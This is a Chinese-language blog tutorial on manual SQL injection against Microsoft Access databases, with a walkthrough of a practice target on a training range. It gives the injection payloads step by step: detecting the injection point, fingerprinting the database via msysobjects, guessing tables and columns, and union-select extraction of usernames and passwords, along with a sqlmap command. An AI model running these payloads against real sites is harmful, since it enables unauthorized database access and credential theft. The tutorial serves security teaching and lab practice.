web安全|渗透测试|网络安全 超详细Access注入
web安全|渗透测试|网络安全 超详细Access注入
(空格)and exists (select * from admin order by 3)
理解各数据库特点,掌握基本的手工注入和工具注入
常见数据库
Access,Mysql,mssql,MongoDB,postgresql,sqlite,oracle,sybase等
msssql:sysobjects
mysql:infomation_schema
access:msysobjects
oracle:sys.user_table
Access数据库
Access介绍
(来源百度百科)
Microsoft Office Access是由微软发布的。它结合了关系数据库管理系统。Microsoft Jet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。它是微软Office家族的一个成员。Access以它自己的格式将数据存储在基于Access Jet的数据库引擎里。Access数据库属于文件型数据库,所以不需要端口号。在Office 2007之前的Access数据库文件的后缀是 .mdb ,Office2007及其之后的Access数据库文件的后缀是 .accdb 。
Access数据库中没有注释符号. /**/ 、 -- 和 # 都没法使用。
Access是小型数据库,当容量到达100M左右的时候性能就会开始下降。
Access数据库不支持错误显示注入,Access数据库不能执行系统命令。
Access搭建的每个网站都是相互独立的。
Access手工注入过程
第一步:判断注入点
'
(报错,则可能存在注入点)
and 1=1
and 1=2
(and 1=1正确,and 1=2 错误,则说明带入查询了,反之and可能被过滤了,换or等其他逻辑词进行判断)
(注:有时候第二排没加空格,就和第一排连在一起,可能会得不到预期结果)
第二步:判断数据库类型
msysobjects 是Access数据库特有的表 ,用它来判断是否是Access数据库
and exsits (select * from msysobjects)>0
(返回为没有数据或没有读取权限,是Access数据库 ,如果不存在,则不是)
第三步:枚举猜表
Access的所有表都在同一个数据库下,不用去判断当前数据库名,并且也不存在 database() 函数。
and exists(select* from admin)
(不报错则说明存在admin表)
第四步:猜表中有多少列
and exists(select*from admin order by 5)
(5的时候正常,6的时候报错,则说明存在5列)
第五步:枚举猜字段
and exists(select admin from admin)
and exists(select user from admin)
and exists(select pass from admin)
不报错则说明存在
第六步:猜数据长度并输出
方法一:
and (select count(*) from information)>10
如果>10正确,>11错误,则有10行数据
方法二:
and 1=2 order by 9 from admin
access数据库中没有 limit来限制行数。
但可以使用top命令,top 1是只显示第一行, top3显示查询出来的前三行数据
在access中,中文可以用asc函数来表示
asc("中") = -10544
chr(-10544) = 中
墨者靶场练习
SQL手工注入漏洞测试(Access数据库)
第一步:判断是否有注入点
加'无法正常显示,可能有注入点
and 1=1
正常显示
and 1=2
无法正确显示
综上说明被带入执行了,即存在注入点,
第二步:判断数据库类型
方法一:手动判断
(空格)and exists (select * from msysobjects)>0
(推荐使用sqlmap扫描)
方法二:利用sqlmap继续扫描
sqlmap -u "URL"
探测出来是Access
第三步:猜表名
(空格)and exists (select * from admin)
返回正常,说明存在admin表
第四步:猜显示的列数
(空格)and exists (select * from admin order by 3)
order by 4 无法正确显示,有3列(但是后面获取数据的时候要4个字段,离谱了,搞半天没发现这个猜列数哪里错了)
第五步:猜列名
(空格)and exists (select username from admin)
(空格)and exists (select passwd from admin)
第五步:获取数据
(空格)union select 1,username,passwd,4 from admin
第六步:解密得到密码
- 点赞
- 收藏
- 关注作者
评论(0)